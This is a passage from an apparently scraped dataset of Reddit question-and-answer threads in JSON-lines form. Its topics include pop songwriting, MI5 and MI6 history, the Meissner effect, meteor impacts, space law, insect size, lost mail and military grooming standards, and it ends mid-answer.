writers. Usually the top writers. \n\nAdditionally, there are writing teams that do not have deals and own their own publishing. \n\nSo what happens is a Project List gets created by assistants at these publishing companies by talking with A & R assistants at labels and then that list gets passed around internally. This project list is the holy grail. EVERYONE wants to get their hands on it.\n\nAn example of how a submission on the list would look:\n\nLABEL: Sony ARTIST: DogWhopper PROJECT: Looking for smooth pop hip hop tracks, pharrell inspired CONTACT: Larry at 310-555-1212\n\nWriters then learn about projects and try and submit songs for projects or if they are good enough, get in the studio with the artist.\n\nUsually though they just submit demo songs and the A & Rs and managers listen and choose which ones they like then they play their collection to the artist who chooses what they want to record.\n\nI used to work for Sony ATV Publishing.\n\nAsk more if you want, I am fairly certain I can answer anything in this category. ", "Just remember this, it took 5 people to write \"Baby\" by Justin Bieber and it only took 1 to write \"Bohemian Rhapsody\" by Queen. The greatest song ever. We need more people like Freddie Mercury.  ", "I'm surprised Babyface hasn't been mentioned. 26 #1 hits on the R & B charts and over a 100 \"top tens\". He was the Pharrell of the 90s.\n\nBobby Brown, Beyonce, Whitney Houston, Madonna, Boyz II Men, Pink, Mary J. Blidge, Mariah Carey are a few of the bigger name's he's written for. Largely underrated in my opinion.", "We had a long chat with our waiter out after work one night. He was in a band (probably wouldn't recognize the name but would recognize some songs). When they weren't on tour, he would wait tables and write music for other musicians. Apparently he would just write a song and then send it to a label, then various artists would decide if they were interested. He said he wrote a few songs that Shinedown used, can't remember any of the other bands he mentioned. We were all drinking quite a bit that night so I don't even remember how all of this came up, at one point after bringing us our food and some drinks he just ended up hanging out at our table chatting for like a half hour.", "Max Martin.\n\n[source](_URL_0_)", " > that fit their style?\n\nTheir style? They have no style. They are whores used by a committee to sell a product decided by the same committee. Sadly, it's always the same committee. That's why every fucking pop star these days sounds exactly the same.", "In Asia there are massive databases of pre-written songs for producers/agents to shop through. ", "Labels also have \"who's-looking\" lists with specific requests of genres, keys, tempos, or types of songs. Songwriters can also pitch based on these parameters.", "It's interesting to note that Mariah Carey has written every one of her singles (18 of which hit #1 on the Billboard Chart) minus the covers, of course.", "No one comes close to Diane Warren: \n\n_URL_0_", "For an interesting read check the story of the Bee Gees. I never knew how many songs they wrote for other singers. They were amazingly talented people.", "This is why I don't listen to pop", "This just makes the word artist feel weird when describing a pop singer.", "Has this thread been cross-posted to /r/lewronggeneration yet?", "I have a friend who is a prolific poet who has sold several works. He writes song, copyrights it.  Then he shops work to different labels.  If a label has a musician they feel lyrics suit, they'll buy, copyright and all.  He only makes a couple of hundred dollars for each song.  Professional musicians have recorded several of his songs, but he doesn't get credit because he sold rights to the song.  The artists who records it gets credit because not only does the label own it outright and they give it to the musician, the artist tweaks enough to call it \u2018their song\u2019.  \nThere are definitely a lot more experienced people posting here, but this is a thing that happens that contributes to the process.  \n", "Looking at this thread really makes you appreciate those artists who actually write their own songs, and aren't popular due to money or looks. ", "Don't forget about Dre", "[Madskillz - Ghost Writer](_URL_0_). Relevant.", "I beleive the answer is both.", "Here's the biggest secret of the music industry and also a great answer to ELI5.\n_URL_0_", "wait.. are u telling me that these guys dont even write those simple (and rather pointless) lyrics. ?", "The rapper Skillz ghostwrote for a ton of big name rappers as well.", "Although I am more into rock and metal (and not onto pop, which does not have to do anything with the question, imho), *where is the problem in buying a song and performing it?*\n\nNot implying OP has a problem with it, but a lot of contributors here seemingly do have. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.newyorker.com/reporting/2012/03/26/120326fa_fact_seabrook?currentPage=all"], ["http://www.npr.org/blogs/money/2011/07/11/137705590/the-friday-podcast-manufacturing-the-song-of-the-summer"], [], [], [], [], ["http://youtu.be/aH3PzjIRH2U"], ["http://en.wikipedia.org/wiki/Dr._Luke"], [], [], [], ["http://www.npr.org/blogs/money/2011/07/11/137705590/the-friday-podcast-manufacturing-the-song-of-the-summer"], [], [], ["https://m.youtube.com/watch?v=YzRup5YFf8Y"], [], ["http://en.wikipedia.org/wiki/Diane_Warren"], [], [], ["http://www.newyorker.com/reporting/2012/03/26/120326fa_fact_seabrook?currentPage=all"], [], [], [], [], ["http://wikipedia.org/wiki/Max_Martin"], [], [], [], [], ["http://en.wikipedia.org/wiki/List_of_songs_written_by_Diane_Warren"], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=CTOCHnYsv4Q"], [], ["http://en.wikipedia.org/wiki/Max_Martin"], [], [], []]}
{"q_id": "9w2t1z", "title": "whats the meaning and history behind the famous egyptian \"z\" pose?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9w2t1z/eli5_whats_the_meaning_and_history_behind_the/", "answers": {"a_id": ["e9h3luq", "e9hcqh9", "e9hh3zh", "e9i7rwg"], "score": [137, 11, 3, 3], "text": ["First off, keep in mind that the time between now and ancient Egypt is shorter than the time between ancient Egypt and more ancient Egypt. Traditions and the reasons for those traditions probably changed more within that time than Christianity and Islam combined over their entire histories. \n\nThat said, at some point during that time my understanding is that ancient Egyptians believed that any body part not pictured wouldn't be eligible for the afterlife, and the Z pose is simply the most iconic of the many poses designed to show off all joints and fingers in a single drawing. ", "From an artistic point, realism wasn\u2019t valued. The art they liked showed what we knew of the body, showing the parts in their most recognizable forms. Same thing with the backgrounds of the works shown, people were drawn from a different perspective than their backgrounds. Importance was communicated by size as well, so pharaohs were huge and their servants were depicted much smaller. ", "This \"Z pose\" is a modern parody of ancient Egyptian stylistic art, feet turned to the side, shoulders turned towards the viewer (combining front and side perspectives in a slightly unnatural stance). Keep in mind their art work spanned thousands of years and consisted of several epochs", "Anyone else picturing the Bangles video?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4y30os", "title": "These days, The United Kingdom has MI5 and MI6. Were there ever MI1 through MI4? What did they do, and what happened to them?", "selftext": "Also, were there MI7, MI8, and so on? If they existed, what were their responsibilities?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4y30os/these_days_the_united_kingdom_has_mi5_and_mi6/", "answers": {"a_id": ["d6knx31"], "score": [417], "text": ["During the First World War, MI1 (or Military Intelligence; Section 1) was the code breaking department of the British intelligence service, while MI2 which focused on geographical regions, with sub sections handling different accounts. MI2a for example information of the Americas, while 2b handled the Near East and North Africa. This section following the first world war was changed to focus on Russia and Scandinavia before being incorporated into the newly formed MI3. MI4, was utilised during the Second World War as a means to use planes as reconnaissance in that it took photographs of battlefields giving it the name (the) \"Photographic Development Unit\". This eventually evolved into the RAF's DIFC unit.\n\nThe higher up MI's go up to MI19 with various forms and functions some no longer existing. MI7 being press and propaganda, MI8 being communications, MI9 dealing with British POWs and so on.\n\nSome interesting reads are [\"The History of The Ministry of Defence\"](_URL_0_)\nAs well as; [\"Intelligence and security Services\"] (_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.gov.uk/government/publications/history-of-the-ministry-of-defence", "http://www.nationalarchives.gov.uk/help-with-your-research/research-guides/intelligence-security-service-records/#9-the-security-service-mi5-and-the-secret-intelligence-service-mi6-records"]]}
{"q_id": "3ih7t2", "title": "Is there any application for the Meissner effect?", "selftext": "I was wondering what could the meissner effect be used for, since all the Maglev devices work with other magnetic levitation technology I don't know if there is any case where the meissner effect would result more efficient. \n(Apart from being a fancy science class experiment.)\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3ih7t2/is_there_any_application_for_the_meissner_effect/", "answers": {"a_id": ["cugdcfo"], "score": [2], "text": ["The Meissner effect only applies to superconductors that are cooled below their critical temperatures in the presence of a magnetic field, it's not the only mechanism to allow superconductors to levitate over a magnetic field. As far as I know, there aren't any practical applications that require the complete expulsion of flux from a superconductor.\n\nMaglev trains, iirc, are more of a lucky accident. Linear induction motors work by using the coils in the track to induce a magnetic field in the non-ferrous, conductive rotor near the bottom of the train. The side effect of this is repulsion, in addition to motion. This repulsion is a part of the 'magnetizing current' in the motor, which is actually an imaginary component of the motor current, and doesn't use any power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1rmkck", "title": "Did the Prussians rely heavily on prisoners, deserters, and other \"scum of the earth\" for their manpower in the Seven Years' War as depicted in Barry Lyndon?", "selftext": "For those unaware, a large portion of the \"beginning\" of Barry Lyndon involves the main character deserting from the army and assuming the identity of a British lieutenant attempting to travel to Bremen.  En route he is captured by a Prussian captain who sees through his deceit and explains that if he does not \"take the bounty\" he will be turned over to the British to be shot.\n\nWhile in so doing we discover that the officer corps of the Prussian army remains intact, but the rest of the army is acting as something of a penal legion of European vagabonds and disgraces who are only a shadow of Prussia's powerful past.  In essence they are described as the Night's Watch.\n\nWas there any accuracy to this?  And of course, did the Prussians refer to joining/enlisting as \"taking the bounty\"?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rmkck/did_the_prussians_rely_heavily_on_prisoners/", "answers": {"a_id": ["cdorlz1"], "score": [20], "text": ["I want to write a large amount of uneasy sounds because it's problematic. \n\nI think the level of vagabonds was exaggerated for dramatic means but it was a very large cultural image in Europe at the time. Voltaire, in Candide, wrote his character getting drafted into the Prussian army by unscrupulous recruiting sergeants that would get men drunk only to wake them up in the barracks. It must be noted that Voltaire was close to Frederick the Great, so he had some concept of the military.\n\nThe Battle of Valmy is also a very noted victory over the \"slave armies of Europe\" and it bolstered the confidence of France into declaring the Republic. Free French men fought and defeated the slaves driven by the whip. \n\nHowever, there is a grain of truth to it. The Prussian army was somewhat conscript based before the Seven Years War but the man power problems caused over half of Frederick's armies to be almost half foreign/mercenary by the last years of the Seven Years War. Punishment was severe and if a soldier ran away, there was a bounty placed on his head and the people of the region were required to help in finding him.\n\nHowever, I am not familiar with the phrase you mention, it may allude to the fee given recruiters for getting men (hence why they would gravitate to recruiting drunks and vagabonds that can't really say no)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "wgi6s", "title": "What would a cataclysmic meteor strike look like to an observer on the ground?", "selftext": "I was mulling this over in my head today and couldn't work it out.\n\nLet's say you have a 10 km diameter rocky body enter the Earth's atmosphere with an observer 10 km from the point of impact. What would it look like? What would it sound like?\n\nMy only thoughts so far is you obviously wouldn't hear it for quite some time after it entered the atmosphere. Would you even hear it before it hit the ground? What might it sound like if you could?\n\nWould it compress all the air in front of it, and just result in a blinding light? Would you have time to perceive it at all?\n\nOf course the observer would die, but what would kill them? The shock wave? Debris? Heat?\n\nThis fascinates me.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wgi6s/what_would_a_cataclysmic_meteor_strike_look_like/", "answers": {"a_id": ["c5d6dkf", "c5d6jrp", "c5d6juw", "c5d6m5q", "c5d6n3g", "c5dfioq"], "score": [6, 9, 5, 3, 14, 2], "text": ["I think it would be traveling too fast, but before I go on maybe watch [this video instead](_URL_0_)", "Given that waves travel through material at the speed of sound, and that the speed of sound in denser materials is generally higher, I would suspect that any sort of wave through the ground may kill you before any air-pressure shockwave.  However, the heat/light or other effects, I couldn't speculate on.", "According to my understanding, it would be traveling too quickly to perceive before impact. Standing as close as 10 km, you would be killed by the heatwave created by the rock compressing air so quickly.\n\n\"One second after entering the atmosphere, the meteorite would slam into Earth's surface. The meteorite itself would vaporize instantly, but the blast would blow out a thousand cubic kilometers of rock, earth, and superheated gases. Every living thing within 150 miles that hadn't been killed by the heat of entry would now be killed by the blast. Radiating outward at almost the speed of light would be the initial shockwave, sweeping everything before it.\"\n-Bill Bryson, *A Short History of Nearly Everything*", "The odds of a straight-on, purpendicular impact are pretty nil. Remember that the Earth moves, too. As the object gets close to earth, it'll start to curve towards the earth (as if it were to start orbiting and just couldn't pull it off), pulled by gravity, so best odds are for more of an arcing impact. \n\nAs the object enters the atmosphere, a \"small\" 10km object will likely begin to break up, becoming a whole bunch of smaller objects. Since it'd be an arc, whether or not you heard it would depend on if you were in front or behind of its path. \n\nAs to how one would die, it's hard to say. A single impact is easy enough to calculate if you swag the density. Multiple impacts, less so. Still, the survivability should more-or-less follow that of an atomic bomb of the same energy. I'm on my phone or I'd work out the math. :-)", "[This tool](_URL_0_) will give you an idea of the area affected by impact and what would be likely to happen to you at a pre-determined distance from the impact zone.", "At 10 km with the forces you're talking about you would see a blinding flash of light then you would be dead.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=xaW4Ol3_M1o"], [], [], [], ["http://www.purdue.edu/impactearth/"], []]}
{"q_id": "3piv7w", "title": "why isn't the usps website a .gov site?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3piv7w/eli5_why_isnt_the_usps_website_a_gov_site/", "answers": {"a_id": ["cw6ng1o", "cw6nn1g", "cw6o2df"], "score": [4, 24, 8], "text": ["The United States Congress set up the USPS as an independent company years ago to let it become more efficient.", "Strangely, Wikipedia actually answers this one. I wasn't confident that it would, but I searched it anyway. Here's what I found:\n\n >  Some U.S. governmental entities use other domains, such as com domains by the United States Postal Service (which uses both _URL_0_ and _URL_2_ for the same website, although it only advertises the com address)\n\n[Source](_URL_3_)\n\nUSPS does own the _URL_1_ address, but they redirect to the .com address. They control both so that no one can impersonate them on a .com address.", "This goes back to the early days of the internet, when the COM domain was serious business.\n\nThe last part of a website's name -- COM, NET, ORG, EDU, among thousands of others -- is called a _top-level domain_, or TLD.\n\nThe COM TLD was originally set up for COMmercial entities, such as businesses. Nowadays it's a catchall, but the original intent was for it to be used for business purposes. Think IBM, General Motors -- places you pay to do things. That was the intent behind COM.\n\nThe GOV TLD was set up for GOVernmental agencies. Think IRS, the White House, the Department of Defense, etc. etc. etc. -- places that have some regulatory or governmental authority as their primary job.\n\nThe Postal Service is a governmental agency, but not in the sense that most things are. It's a pseudo-business that just happens to run under governmental authority. As most people going to the website are going there for business purposes, it was decided to make it a COMmercial site, and the decision stuck.\n\nThey also have a GOV site, but they only use it for stuff that's governmental in nature. For instance, their site to find your postmaster is on GOV: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["usps.gov", "USPS.gov", "usps.com", "https://en.wikipedia.org/wiki/.gov"], ["http://webpmt.usps.gov/"]]}
{"q_id": "175krg", "title": "How cold would it have to be to slow data packets transmitted over wire? Does temperature even have an effect on this?", "selftext": "My friend and I were joking about the cold weather in Canada. I remarked that it was \"so cold packets were freezing and ping was timing out.\"\n\nWhile humorous, it got me thinking -- is this possible? How is our data transmitted over wire? Can it be affected by temperature? If I cooled a section of the wire to just above absolute zero -- what would happen to new data as it flows into that area? Would it just be a giant traffic jam?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/175krg/how_cold_would_it_have_to_be_to_slow_data_packets/", "answers": {"a_id": ["c82etni", "c82ey2r", "c82f717", "c82ov6l"], "score": [66, 6, 11, 2], "text": ["Many metals become more conductive at lower temperatures, which would reduce the voltage or wattage requirement in order to transmit.\n\nAlthough not all materials become superconductors when cold, all superconductors must be cooled to be superconducting.\n\nSo, no. There would not be a traffic jam. It would make things easier.", "In general [metals conduct better at lower temperatures](_URL_0_) and since wave propagation speed depends on conductivity, that too would only go up, so electrical wires would only get better and better.\n\nIf indeed something special happens near absolute zero I'm sure asking in Physics would yield more informatino on that.", "This is pretty dependent on the media you are using but for copper and fiber there is no loss but very minor gains generally. I've heard the temp ranges discussed in regards to turn radii but never otherwise. (I live in Calgary Canada and it is quite cold here at times.)\n\nYour trouble comes with cat5-ish cable where extreme cold *can* cause gapping or intermittent errors. Basically, the terminators are easily capable of losing one or more of the contacts and this can cause either a complete failure or a higher error rate (when intermittent) that leads to a slower transfer rate over time. In the far north there are also issues with housing becoming brittle too.\n\nNow, most cable vendors will claim their cables are fine at -60C and it *is* possible that the failures I've seen are due to bad termination or selective memory but for what it is worth, we replace a **lot** more cable up north than we do in insulated environments! It may well be other factors but there we are.", "In a coaxial cable like that used for CATV, the speed doesn't change. The loss does, however. The signals get weaker when the cable heats up, as if the cable became longer. The opposite happens in the cold. So much so that in a long run with more than a couple of amplifiers there will be automatic gain controls in them. This can be a simple type that changes the gain based on the temperature or a more sophisticated one that actually measures the signal strength and adjusts the amplifier accordingly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Electrical_resistivity_and_conductivity#Metals"], [], []]}
{"q_id": "4vyl54", "title": "why/how does the us have the authority to \"grant permission\" for a private company to land on the moon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vyl54/eli5_whyhow_does_the_us_have_the_authority_to/", "answers": {"a_id": ["d62gh50", "d62gkyh", "d62hf4u", "d62m97u", "d62mlgn", "d62n0e2", "d62n5ct"], "score": [47, 674, 41, 8, 2, 2, 3], "text": ["Formally and legally they don't unless the private company is American. If it is then it falls under their laws, which obviously aren't in favor of private citizens firing ballistic objects to high altitudes without running it by the government first. \n\nInterstellar Law (UN mandated legislature) dictates that no nation can claim ownership or colonize a celestial body, or modify the structure of it. So a multinational discussion would be required for a legal moon landing of a citizen from one or more nations. ", "The Outer Space Treaty establishes a legal framework for the international use of space for peaceful purposes, including the Moon. That treaty states that the countries bear responsibility for the actions of entities from their country, either governmental or non-governmental. Therefore it is in the best interests if not necessary for each government to OK the actions of private companies which are based in their territory with regard to space.", "According to the various international treaties regarding Space any company that sends anything into space (including to the moon) is the responsibility of the country that they are based in. So any US based company has to get approval from the US government to do anything in space. ", "You didn't even read the article that raised your question.  \nI know, because I had the same question, and the first paragraph of that article explained why.  To make it short for you, it's an international treaty. Since the flight departs from USA, it falls under USA's authority.", "Same way your neighbor has authority to allow you to throw rocks into a river from his back yard.  \n\nHe doesn't own the river, he has no authority over the river, but if you hit a fisherman in the head, hes sort of liable for the rock you threw...", "In the simplest of terms, i'd imagine the USA must grant permission for you to travel through their airspace. Be it horizontally, or vertically.", "Rules are that where you launch from is responsible for what you do. So if they launch from US, the US is in charge of making sure you aren't stupid about it. They don't have authority over the moon, but they do have authority over who is launching rockets from their own soil. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1q9scj", "title": "why don't bugs like this preying mantis grow big enough to eat people?", "selftext": "From this thread: _URL_0_\n\nEDIT: Thanks for all your answers folks - you're rock stars!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q9scj/eli5why_dont_bugs_like_this_preying_mantis_grow/", "answers": {"a_id": ["cdamf2b", "cdamj78", "cdamp1a"], "score": [8, 10, 4], "text": ["Bugs don't have lungs, they have small holes all over their bodies called spiracles. Spiracles lead into tubes called tracheae that terminate at tracheoles where gas exchange is taking place.\n\nThe size-limiting factor here is that this is passive diffusion. Oxygen can't make it into tissue very far from the surface of a bug.\n\nSo, technically, the size-limiting factor is actually *oxygen percentage* of our atmosphere, which is why when that was higher many millions of years ago, we did have giant-ass bugs...\n\n_URL_0_", "The important thing to know is how insects breathe. Insects don't breathe through their mouths like us; they don't even have lungs. They have tiny holes in their exoskeleton which allows oxygen into system of tubes, which carry oxygen to their organs.\n\nWith that in mind, let's think about what happens when something increases in size. Two things increase: volume, and surface area. The dependence between the two is not linear, though. In other words, volume and surface area increase by different rates.\n\nThink of a 1x1x1 foot cube. It has a volume of 1, and a surface area of 6.\n\nNow, a 2x2x2 cube. It has a volume of 8, and a surface area of 24 (six sides, 4 sq ft per side). The volume increased by *eight times*, but the surface area only increased by *four*.\n\n3x3x3? Volume of 27, surface area of 54. The volume more than tripled, whereas the surface area roughly doubled.\n\nNow, the point here is that *volume* is what matters for the weight of an animal. That means that there's more organs and whatnot, all of which need oxygen.\n\nThe amount of oxygen available, though, depends on *surface area*. Insects get oxygen from their skin, so to increase their oxygen intake, they need to increase the surface area of their skin.\n\nYou can't add more holes in the exoskeleton to increase the oxygen flow to compensate, because that makes the exoskeleton weaker. The exoskeleton is *already* under extra strain trying to support the increased weight, so that won't work.\n\nThis means that there's essentially a point where an insect can't grow any bigger, because it doesn't have enough surface area (oxygen supply) to make up for the increased volume/weight (need for oxygen).\n\nFor more evidence of this being why insects can't increase in size, they used to be much bigger millions and millions of years ago during dinosaur times. The atmosphere was richer in oxygen back then, so it makes sense.", "The simple answer is that their breathing system and exoskeleton both *probably* cannot sustain them at those sizes. \n\n* Insects have what is called tracheal breathing, no lungs or other central system but a series of tubes leading from all over their exoskeleton directly to their organs. This is why you can see a bee's behind pulsate for example. - In earlier times there have been a few examples of insects exceeding the supposed biological limits of tracheas, such as *Meganeura*, a giant dragonfly from 300 million years ago, but even at their best time they maxed out at a 65cm wingspan. The theory that these sizes were only possible due to a higher atmospheric oxygen concentration may be contested but certainly the bigger the size the worse a tracheal system will get compared to some sort of lung.\n\n* Their exoskeleton. For several reasons... firstly because as you grow it has to increase its strength and thereby mass every time to support you, possibly reaching a strength restriction somewhere along the line. Then because of their open circulation system, meaning that instead of blood vessels they just have one big cavity full of blood and a  tube-like heart to create a circulation. And lastly, a restrictive outer shell also has to be shed and rebuilt for growth, leaving yourself pretty vulnerable for some time. There has actually been evidence that insect size has declined in relation to avian evolution, suggesting that perhaps a big size could have evolved to become a disadvantage.\n\nSo to summarize: we don't know for certain that these features could not somehow evolve to support a creature of human-devouring size but we can say that everything even close to these sizes has a proper closed circulation and centralized breathing system for a far more efficient cell nourishment and an everlasting endoskeleton that gives constant support from inside."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/WTF/comments/1q8vpf/mantids_are_awesome/"], "answers_urls": [["http://en.wikipedia.org/wiki/Respiratory_system_of_insects"], [], []]}
{"q_id": "zx7ff", "title": "what is happening now in the muslim world?", "selftext": "With all these protests and embassy attacks.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zx7ff/what_is_happening_now_in_the_muslim_world/", "answers": {"a_id": ["c68igo5", "c68ixhc", "c68j079", "c68j8lq", "c68kn9z", "c68lh04", "c68pmdk"], "score": [17, 3, 24, 12, 9, 2, 2], "text": ["A video came out about the Prophet Muhammad that depicted him as a child molester and wife beater. I believe someone out in california uploaded it to youtube. (im not sure, but he could be publicly pro israel) im relaying what my cousin told me. The more fanatical muslims of the world are overreacting.\n\nEdit: wording, spelling", "This movie came out that is offensive and insults prophet Muhammed. I have a Muslim friend and even he was angry about it.\n\nEdit to add: The protests are just people acting out, some blaming America for having the freedom of speech to allow a movie like this to be made. ", "Some sort of short movie \"trailer\" was made by someone from the US.  The movie depicted Mohammed, Islam's prophet, in an offensive way. It went onto YouTube.  Someone translated it to Arabic and put that on YouTube.  Muslims in the Middle East saw the video and reacted violently, as often happens when Mohammed is mocked, like the Danish cartoon of Mohammed from a few years back.  The attacks are directed at US embassies not only because the movie came from the US, but also probably because a vast majority of the people in the Middle East live in countries where there is no notion of free speech as such.  Because they don't value or necessarily understand the protection of (just about) all forms of speech, they see the legality and non-banning of such a movie to be an endorsement of the movie by the US government.  (This last point was argued by Rachel Maddow in a video linked from [this Reddit post](_URL_0_).)\n\nEdit: country name mixup", "[The video is here](_URL_0_). It suffers from extremely poor production values and is non coherent in spots. In my opinion, while this was made to possibly incite, it is of extremely poor quality and I personally can't even take this seriously. As someone said, it is much of a quality message as a Saturday Night Live sketch.   \n\nThe producer obviously has ulterior motives as he claimed he was an Israeli Jew when he is actually an Egyptian Coptic Christian. In addition, if you watch the video, parts of it are obviously dubbed and the cast and crew were not made aware of any references to Mohammad. They were led to believe that the film was called \"Desert Warrior\" and was a B-movie.   \n\nIf extremists want to kill folks over a cartoon strip and a bad movie, well then, the world is a scary place indeed.  \nI know atheists all over are smirking and patting themselves on the back, and in this case, it would be hard to argue against them.", "Any offensive move that originates in the west as seen as an attack. First thing first, these riots are incredibly stupid, and if you want genuine Muslim reaction to this, head over to /r/islam. You have to understand that people in the middle-east already hate the US for their occupations and bombs, etc. So now the average layman is sitting there going \"hmm these people are evil\" and then something like this crap movie is released (with intentional provocation) and people view it as a salt on the wound. \"They kill us AND mock us\" \n\nUnderstand that media also plays a part. You can see right now that the US and other media sources are reporting these riots/protests 24/7 (because it fits the 'angry muslim' narrative . It is similar in the middle-east, where they will pick a piece like this movie and report it constantly to rile up people (to fit the 'evil west' narrative). \n\nYou will see that these protests are mostly short-lived and well reported. And don't get me started on the hypocrisy of the protesters themselves.", "My fair guess is that someone is behind all of that and needed to pull this move for its own benefit.", "Basically, a basement dweller in southern California made an anti-Islamic video and posted it to YouTube. A few hundred flame wars, a million views and an Arabic translation later, the whole Muslim world (and Australia) was pissed at the US. \n\nThe whole \"hate the US\" thing is kind of a big misunderstanding. Many of the Islamic states that are currently angry at the US have no understanding of our laws and basic rights. This would include the First Amendment, which allows people to do this kind of thing. \n\nWith that in mind, the fact that this video has not yet been taken down by the US government says to most Muslims, \"We are the US and we approve this message.\" \n\nAnyways, that about sums it up, but I have no idea why Australia is pissed. Maybe Fox was just messing with me or something.\n\nEDIT: PARAGRAPHS NOT SHOWING"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/evolutionReddit/comments/zx4ad/rachel_maddow_on_why_explaining_free_speech_is/"], ["http://www.youtube.com/watch?v=MAiOEV0v2RM"], [], [], []]}
{"q_id": "2y143q", "title": "what happens to 'lost' mail?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2y143q/eli5what_happens_to_lost_mail/", "answers": {"a_id": ["cp58zsk", "cp5qp5w"], "score": [4, 2], "text": ["You mean regular mail?\n\nIt probably gets stolen/thrown out.  I once received a letter that came enclosed in a larger USPS envelope.  The original letter on the inside was shredded and ripped halfway, but you could still see the address.\n\nSo they placed it in one of [these](_URL_0_) and still delivered it.", "[It gets sent to Atlanta](_URL_0_), where the USPS operates the modern version of the 'dead letter office'.  IIRC, they do auctions every couple years to clear out unclaimed packages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.spudart.org/blog/images/2005/323-2302_mailback.jpg"], ["http://about.usps.com/postal-bulletin/2012/pb22351/html/info_005.htm"]]}
{"q_id": "2eq2a6", "title": "why is it that special forces soldiers are allowed to have beards and long hair, where most other military elements must be clean shaven and have short hair?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2eq2a6/eli5_why_is_it_that_special_forces_soldiers_are/", "answers": {"a_id": ["ck1tsma", "ck1u6co", "ck1v25v", "ck1v7c9", "ck1vek4", "ck1vl1n", "ck1w0tc", "ck1w1e0", "ck21mw8", "ck2e8il"], "score": [11, 2, 11, 12, 9, 48, 2, 3, 8, 2], "text": ["It's easier to alter appearance with trimming/cutting hair instead of trying to grow it out", "It's also a matter of disguise", "You gonna make em shave? Haha good luck.\n\nBut seriously, it's to blend.", "There is also this notion that to earn that spot you have to be the best of the best. You have to prove to your commanding officers and everyone else that you have what it takes to train hard, practice, maintain your physical strength, agility, mental fortitude - you do all this by being the example. \n\nYou are constantly clean shaven, have mirror-shined, hand-polished boots; pressed uniforms and shiny brass. Your weapon is maintained to the highest standards.\n\nOnce you prove you have what it takes, earn that spot and fit in with the team you earn the right to do whatever you want (within reason) because you are trusted. Your superiors trust you to do whatever it takes to get the job done and they aren't going to harp on you about the little stuff anymore.", "The is a psychological aspect to it as well. Both for those in the Special Forces and for everyone else. For those in the special forces there are the logical reasons, blending in, save time etc.. but there is also a distinction from the rank and file. Something that sets them apart as more than a normal solider. \nFor everyone else it adds an air of mystery and differentiates them. ", "They're called \"Relaxed grooming standards.\" The military lets special forces use them so they can interact well with locals (in many places in the middle east, a man is judged by his beard) \n\n[Recently they started limiting these policies](_URL_0_)", "In order to have a complete seal for their Pro Mask (gas mask), that is one of the reasons why the average Soldier must be clean shaven. The current missions in Afghanistan that Special Operations units face do not have the threat of CBRN (chemical, biological, radiological and nuclear). So they can grow beards which help them with their operations (makes them look more like the local populace, with whom they work with primarily). \n\n* I worded this poorly, but I am too lazy to fix.\n", "I believe Delta force (and probably many other special forces) cannot have any tattoos to identify to either. \n\nedit: Apparently that's a myth! My Army Ranger friend lied to me. ", "It is largely a matter of simple job description.  Special Forces, in the context of the US at least, refers specifically to the US Army Special Forces.  The basic function that this group was created around was going into some foreign nation, recruiting and training a battalion (250 - 500 men by US doctrinal standards) sized element of local nationals and leading them in combat.\n\nBecause they are expected to recruit, train and fight with these people, they must be able to look the part and as such strict grooming standards would undermine their ability to do the job.  Just as important is the simple fact that such regulation would be impossible to enforce given the fact that they tend to operate well away from significant US forces.\n\nIf you are referring to the US Special Operations forces in general, that same standard does not necessarily apply.  Marine Force Reconnaissance troops are not expected to lead locals in combat and thus any grooming regulations would still apply with obvious concessions given based on the fact that these individuals are expected to perform long range reconnaissance and thus might spend significant time away from any sort of base.  US Army Rangers (who aren't really a part of Special Operations but most would lump them in anyway) are absolutely expected to follow grooming standards closely as they are simply light infantry.  Air Force Search and Rescue also would be expected to conform to military standard given their operational role does not require, as a matter of course, significant contact with foreign nationals.  SEALs would also, generally, be expected to follow grooming standards so long as it was reasonable to do so during an operation.  SEAL operations tend to be relatively short and thus, in general, you could assume a SEAL would be groomed to standard.\n\nAll grooming standards can be relaxed in the face of operational need.  You would not expect a soldier actively engaged in a firefight to stop and shave because he had a visible beard growing nor would you interrupt a patrol to do the same.  US Special Forces soldiers operate under the same restriction and thus when in garrison would generally be expected to adhere to US Army grooming standards.", "I am in the active army right now. This is why:\n\nSpecial Forces need to often blend in with their surroundings and not tailor to the typical \"US Army Clean-Shaven High-And-Tight\" appearance that is upheld to **most** other soldiers while deployed. Special Forces soldiers are no longer allowed to wear beards while in a Garrison environment (non-deployed or tactical), so they must adhere to the same standard. While deployed to places like Afghanistan, where there are no threats of chemical weapons, beards are 